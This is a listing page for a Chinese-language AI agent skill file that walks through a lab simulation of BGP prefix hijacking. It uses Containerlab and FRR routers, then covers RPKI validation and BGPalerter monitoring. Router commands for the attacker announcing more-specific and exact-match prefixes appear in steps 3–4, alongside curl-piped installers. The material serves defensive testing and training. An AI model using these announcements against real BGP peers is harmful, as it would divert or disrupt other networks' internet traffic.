exploiting-bgp-hijacking-vulnerabilities

在授权实验室环境中分析和模拟 BGP 路由劫持场景,评估路由来源验证、RPKI 部署以及针对互联网路由基础设施前缀劫持和路由泄漏攻击的 BGP 监控防御。

9 stars

Best use case

exploiting-bgp-hijacking-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

在授权实验室环境中分析和模拟 BGP 路由劫持场景,评估路由来源验证、RPKI 部署以及针对互联网路由基础设施前缀劫持和路由泄漏攻击的 BGP 监控防御。

Teams using exploiting-bgp-hijacking-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How exploiting-bgp-hijacking-vulnerabilities Compares

Feature / Agentexploiting-bgp-hijacking-vulnerabilitiesStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

在授权实验室环境中分析和模拟 BGP 路由劫持场景,评估路由来源验证、RPKI 部署以及针对互联网路由基础设施前缀劫持和路由泄漏攻击的 BGP 监控防御。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 利用 BGP 路由劫持漏洞

## 适用场景

- 评估组织对 BGP 前缀劫持(BGP prefix hijacking)和路由泄漏攻击(route leak attack)的暴露程度
- 测试 RPKI(资源公钥基础设施,Resource Public Key Infrastructure)部署和路由来源验证的有效性
- 验证 BGP 监控和告警系统能否检测未授权的路由通告
- 在隔离实验室环境中模拟 BGP 路由劫持,培训网络运营团队
- 评估 ISP 前缀过滤和路由来源授权(ROA)配置

**不适用场景**:对实际互联网执行 BGP 路由劫持;在未经授权的情况下针对 BGP 对等体;破坏真实互联网路由基础设施。对生产系统的 BGP 攻击是违法的,可能导致大规模互联网中断。

## 前置条件

- 使用 GNS3、EVE-NG 或 Containerlab 搭建的隔离 BGP 实验室环境,包含虚拟路由器(FRRouting、BIRD 或 Cisco IOS)
- 了解 BGP 路径属性、AS 路径、前缀通告和路由选择
- 访问 BGP Looking Glass 服务器和 RPKI 验证器,监控真实路由状态
- bgpstream、RIPEstat 和 BGPalerter 工具用于路由监控
- 任何涉及真实 AS 号或前缀通告的测试均需书面授权

## 工作流程

### 步骤 1:构建隔离 BGP 实验室环境

```bash
# 安装 Containerlab 用于 BGP 仿真
sudo bash -c "$(curl -sL https://get.containerlab.dev)"

# 创建 BGP 实验室拓扑文件
cat > bgp-lab.clab.yml << 'EOF'
name: bgp-hijack-lab
topology:
  nodes:
    # 合法 AS(AS65001)通告 10.0.0.0/24
    legitimate-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - legitimate-frr.conf:/etc/frr/frr.conf
    # 攻击者 AS(AS65002),将劫持该前缀
    attacker-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - attacker-frr.conf:/etc/frr/frr.conf
    # 转接提供商(AS65000),连接双方
    transit-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - transit-frr.conf:/etc/frr/frr.conf
    # 接收路由的受害者网络
    victim-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - victim-frr.conf:/etc/frr/frr.conf
  links:
    - endpoints: ["legitimate-router:eth1", "transit-router:eth1"]
    - endpoints: ["attacker-router:eth1", "transit-router:eth2"]
    - endpoints: ["transit-router:eth3", "victim-router:eth1"]
EOF

# 配置合法路由器(AS65001)
cat > legitimate-frr.conf << 'EOF'
frr defaults traditional
hostname legitimate-router
router bgp 65001
 bgp router-id 1.1.1.1
 neighbor 10.0.1.2 remote-as 65000
 address-family ipv4 unicast
  network 10.0.0.0/24
  neighbor 10.0.1.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.1.1/30
!
interface lo
 ip address 10.0.0.1/24
EOF

# 配置攻击者路由器(AS65002)——初始不通告该前缀
cat > attacker-frr.conf << 'EOF'
frr defaults traditional
hostname attacker-router
router bgp 65002
 bgp router-id 2.2.2.2
 neighbor 10.0.2.2 remote-as 65000
 address-family ipv4 unicast
  neighbor 10.0.2.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.2.1/30
EOF

# 部署实验室
sudo containerlab deploy -t bgp-lab.clab.yml
```

### 步骤 2:验证合法 BGP 路由

```bash
# 连接受害者路由器,验证到 10.0.0.0/24 的路由
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp"
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.0/24"

# 预期:路由经过 AS65000 AS65001(合法路径)
# 验证 traceroute 沿合法路径转发
docker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1

# 检查转接路由器上的 BGP 表
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"
```

### 步骤 3:模拟前缀劫持(更精确路由)

```bash
# 在攻击者路由器上通告更精确的前缀
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/25
  network 10.0.0.128/25
 exit-address-family
!
interface lo
 ip address 10.0.0.1/25
 ip address 10.0.0.129/25
exit
end
write memory
VTYSH

# 在受害者路由器上验证劫持
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24 longer-prefixes"

# 受害者现在应优先选择经过攻击者的 /25 路由
# 因为更精确路由在 IP 路由中始终优先
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.1"
# 预期:路由现在经过 AS65000 AS65002(攻击者)
```

### 步骤 4:模拟 AS 路径前置和来源劫持

```bash
# 来源劫持:攻击者通告完全相同的 /24 前缀
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/24
  no network 10.0.0.0/25
  no network 10.0.0.128/25
 exit-address-family
end
write memory
VTYSH

# 检查受害者更偏好哪条路由
# 前缀长度相同时,AS 路径最短者优先
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24"
# 两条路由均可见,攻击者可能基于 AS 路径长度获胜

# 分析 BGP 路径选择如何决定胜者
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24 bestpath-compare"
```

### 步骤 5:测试 RPKI 路由来源验证

```bash
# 设置 RPKI 验证器(Routinator)
docker run -d --name routinator \
  -p 3323:3323 -p 8323:8323 \
  nlnetlabs/routinator:latest

# 配置转接路由器使用 RPKI 验证
docker exec -it clab-bgp-hijack-lab-transit-router vtysh << 'VTYSH'
configure terminal
rpki
 rpki cache 172.17.0.1 3323 preference 1
exit
!
route-map RPKI-FILTER permit 10
 match rpki valid
!
route-map RPKI-FILTER deny 20
 match rpki invalid
!
route-map RPKI-FILTER permit 30
 match rpki notfound
!
router bgp 65000
 address-family ipv4 unicast
  neighbor 10.0.2.1 route-map RPKI-FILTER in
 exit-address-family
end
write memory
VTYSH

# 验证 RPKI 状态
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show rpki prefix-table"
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"
# 如果存在 ROA,攻击者的通告应被标记为 RPKI Invalid
```

### 步骤 6:监控和检测 BGP 异常

```bash
# 安装 BGPalerter 用于实时监控
npm install -g bgpalerter
bgpalerter generate -o /etc/bgpalerter

# 配置 BGPalerter 监控你的前缀
cat > /etc/bgpalerter/prefixes.yml << 'EOF'
10.0.0.0/24:
  description: 生产网络
  asn: 65001
  ignoreMorespecifics: false
  group: production
EOF

# 开始监控
bgpalerter

# 使用 bgpstream 查询历史路由数据
pip3 install pybgpstream

python3 << 'PYEOF'
import pybgpstream

# 查询历史前缀通告
stream = pybgpstream.BGPStream(
    from_time="2024-03-14 00:00:00",
    until_time="2024-03-15 00:00:00",
    collectors=["route-views2", "rrc00"],
    record_type="updates",
    filter="prefix more 10.0.0.0/24"
)

for rec in stream.records():
    for elem in rec:
        if elem.type == "A":  # 通告
            print(f"时间:{elem.time}")
            print(f"前缀:{elem.fields['prefix']}")
            print(f"AS 路径:{elem.fields['as-path']}")
            print(f"对等体:{elem.peer_asn}")
            print("---")
PYEOF

# 通过 RIPEstat 检查 RPKI 状态
curl -s "https://stat.ripe.net/data/rpki-validation/data.json?resource=AS65001&prefix=10.0.0.0/24" | python3 -m json.tool
```

## 核心概念

| 术语 | 定义 |
|------|------------|
| **BGP 路由劫持(BGP Hijacking)** | 不拥有 IP 前缀的 AS 对其进行未授权通告,将流量转向攻击者网络 |
| **更精确路由劫持(More-Specific Hijack)** | 通告比受害者更精确的前缀(更长的掩码),由于最长前缀匹配规则,这类前缀在 IP 路由中始终优先 |
| **RPKI(资源 PKI)** | 允许 IP 前缀持有者通过路由来源授权(ROA)授权特定 ASN 通告其路由的密码学框架 |
| **路由来源授权(ROA,Route Origin Authorization)** | 授权 AS 通告特定 IP 前缀的数字签名对象,支持基于 RPKI 的路由验证 |
| **AS 路径前置(AS Path Prepending)** | 在 AS 路径中添加重复 AS 号以降低路由优先级的 BGP 技术,也可防御性地用于对抗路由劫持 |
| **路由泄漏(Route Leak)** | BGP 路由通告超出其预期范围的传播,例如客户将转接提供商的路由重新通告给其他提供商 |

## 工具与系统

- **Containerlab**:使用 Docker 容器部署虚拟路由器拓扑的网络实验室编排工具
- **FRRouting(FRR)**:支持 BGP、OSPF、IS-IS 的开源路由套件,具备 RPKI 验证能力
- **BGPalerter**:实时 BGP 监控工具,检测前缀劫持、路由泄漏和 RPKI 状态变化
- **Routinator**:RPKI 依赖方软件,验证 ROA 并向路由器提供经验证的前缀来源数据
- **pybgpstream**:Python 库,用于分析来自 RouteViews 和 RIPE RIS 收集器的历史和实时 BGP 数据

## 常见场景

### 场景:评估组织的 BGP 路由劫持韧性

**背景**:某云托管公司(AS12345)为其面向客户的服务通告 203.0.113.0/24。他们需要评估自身对 BGP 路由劫持攻击的韧性,并验证 RPKI 部署的有效性。评估包括实验室仿真和真实世界监控验证。

**方法**:
1. 构建 Containerlab 拓扑,复制组织与两家上游 ISP 的 BGP 对等关系
2. 使用 RIPEstat 验证组织所有前缀的 ROA 记录已正确发布
3. 模拟来自流氓 AS 的更精确前缀劫持(/25),验证启用了 RPKI 验证的上游 ISP 丢弃无效路由
4. 模拟完全匹配的来源劫持,验证 RPKI ROV 将路由标记为无效
5. 测试客户 AS 重新通告提供商前缀的路由泄漏场景
6. 在生产环境部署 BGPalerter,持续监控未授权通告
7. 验证组织的 ISP 已正确配置前缀过滤(基于 IRR 和 RPKI)

**常见陷阱**:
- 在真实互联网基础设施而非隔离实验室环境中测试 BGP 路由劫持
- 假设 RPKI 可防止所有劫持——许多网络仍不验证 RPKI
- 未测试更精确前缀通告——如果 ROA 中未设置最大长度,此类通告可绕过来源验证
- 忽视路由泄漏场景——授权对等体可能无意间重新分发路由

## 输出格式

```
## BGP 安全评估报告

**组织**:Cloud Hosting Co.(AS12345)
**评估前缀**:203.0.113.0/24,198.51.100.0/24
**评估日期**:2024-03-15

### RPKI 状态

| 前缀 | ROA 存在 | 最大长度 | 来源 AS | 状态 |
|--------|-----------|------------|-----------|--------|
| 203.0.113.0/24 | 是 | /24 | AS12345 | 有效 |
| 198.51.100.0/24 | 否 | N/A | AS12345 | 未找到 |

### 实验室仿真结果

| 攻击类型 | RPKI 验证 | 结果 |
|-------------|-----------------|--------|
| 更精确 /25 劫持 | 已启用 | 被拦截(来源无效) |
| 更精确 /25 劫持 | 已禁用 | 成功(流量被转向) |
| 完全匹配来源劫持 | 已启用 | 被拦截(来源无效) |
| 客户路由泄漏 | 已启用 | 未拦截(来源有效,路径错误) |

### 建议
1. 为 198.51.100.0/24 创建 ROA(当前未受保护)
2. 在 ROA 中将最大长度设为 /24 以防止更精确前缀劫持
3. 请求上游 ISP 启用 RPKI 路由来源验证
4. 部署 BGPalerter 进行持续前缀监控
5. 向 IRR 数据库注册并向对等体申请前缀过滤
```

Related Skills

triaging-vulnerabilities-with-ssvc-framework

9
from killvxk/cybersecurity-skills-zh

使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-business-logic-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

识别应用程序业务逻辑中的缺陷,这些缺陷允许价格操控、工作流绕过和权限提升,超出技术漏洞扫描器的检测范围。

testing-android-intents-for-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。

prioritizing-vulnerabilities-with-cvss-scoring

9
from killvxk/cybersecurity-skills-zh

通用漏洞评分系统(CVSS)是由 FIRST(事件响应和安全团队论坛)维护的行业标准框架,用于评估漏洞严重性。CVSS v4.0 于 2023 年 11 月发布,引入了更精确的评分指标。

exploiting-zerologon-vulnerability-cve-2020-1472

9
from killvxk/cybersecurity-skills-zh

利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。

exploiting-websocket-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。